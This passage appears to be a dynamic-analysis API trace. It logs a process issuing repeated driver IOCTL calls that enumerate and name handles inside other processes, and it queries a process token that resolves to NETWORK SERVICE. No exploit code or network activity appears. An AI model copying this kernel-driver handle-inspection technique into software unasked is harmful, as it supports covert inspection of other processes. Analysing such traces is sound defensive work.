dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0113.039] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.039] PsAcquireProcessExitSynchronization () returned 0x0 [0113.039] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.039] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0113.039] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.039] PsReleaseProcessExitSynchronization () returned 0x2 [0113.039] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.039] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.039] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0113.039] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.039] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.039] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0113.039] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.039] PsAcquireProcessExitSynchronization () returned 0x0 [0113.039] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.039] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0113.039] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.039] PsReleaseProcessExitSynchronization () returned 0x2 [0113.039] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.039] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.039] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0113.040] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.040] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0113.040] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.040] PsAcquireProcessExitSynchronization () returned 0x0 [0113.040] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.040] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0113.040] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.040] PsReleaseProcessExitSynchronization () returned 0x2 [0113.040] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.040] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.040] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0113.040] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.040] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.040] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.040] PsAcquireProcessExitSynchronization () returned 0x0 [0113.040] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.040] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.040] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.040] PsReleaseProcessExitSynchronization () returned 0x2 [0113.040] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.040] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.040] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.040] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.040] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.040] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.040] PsAcquireProcessExitSynchronization () returned 0x0 [0113.040] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.041] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.041] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.041] PsReleaseProcessExitSynchronization () returned 0x2 [0113.041] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.041] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.041] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.041] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.041] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.041] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.041] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.041] PsAcquireProcessExitSynchronization () returned 0x0 [0113.041] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.041] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.041] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.041] PsReleaseProcessExitSynchronization () returned 0x2 [0113.041] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.041] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.041] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.041] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.041] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.041] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0113.041] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.041] PsAcquireProcessExitSynchronization () returned 0x0 [0113.041] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.041] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0113.041] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.041] PsReleaseProcessExitSynchronization () returned 0x2 [0113.041] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.041] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.041] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0113.041] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.042] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.042] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.042] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.042] PsAcquireProcessExitSynchronization () returned 0x0 [0113.042] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.042] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.042] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.042] PsReleaseProcessExitSynchronization () returned 0x2 [0113.042] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.042] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.042] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.042] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.042] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.042] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0113.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.042] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0113.042] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.042] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xae [0113.042] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.042] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.042] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.042] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.042] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.044] CloseHandle (hObject=0xc8) returned 1 [0113.044] CloseHandle (hObject=0xc0) returned 1 [0113.044] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.044] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.044] PsAcquireProcessExitSynchronization () returned 0x0 [0113.044] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.044] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0113.044] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.044] PsReleaseProcessExitSynchronization () returned 0x2 [0113.044] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.044] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.044] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0113.044] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.044] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.044] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.044] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.044] PsAcquireProcessExitSynchronization () returned 0x0 [0113.044] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.044] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0113.044] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.044] PsReleaseProcessExitSynchronization () returned 0x2 [0113.044] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.044] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.044] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0113.044] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.045] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.045] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.045] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.045] PsAcquireProcessExitSynchronization () returned 0x0 [0113.045] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.045] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0113.045] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.045] PsReleaseProcessExitSynchronization () returned 0x2 [0113.045] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.045] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.045] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0113.045] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.045] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.045] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.045] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.045] PsAcquireProcessExitSynchronization () returned 0x0 [0113.045] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.045] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0113.045] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.045] PsReleaseProcessExitSynchronization () returned 0x2 [0113.045] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.045] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.045] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0113.045] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.045] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.045] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.045] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.045] PsAcquireProcessExitSynchronization () returned 0x0 [0113.045] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.046] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0113.046] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.046] PsReleaseProcessExitSynchronization () returned 0x2 [0113.046] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.046] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.046] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0113.046] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.046] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.046] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.046] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.046] PsAcquireProcessExitSynchronization () returned 0x0 [0113.046] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880055905d0) [0113.046] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0113.046] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.046] PsReleaseProcessExitSynchronization () returned 0x2 [0113.046] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xac [0113.046] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.046] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0113.046] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.046] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.046] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.046] PsLookupProcessByProcessId (in: 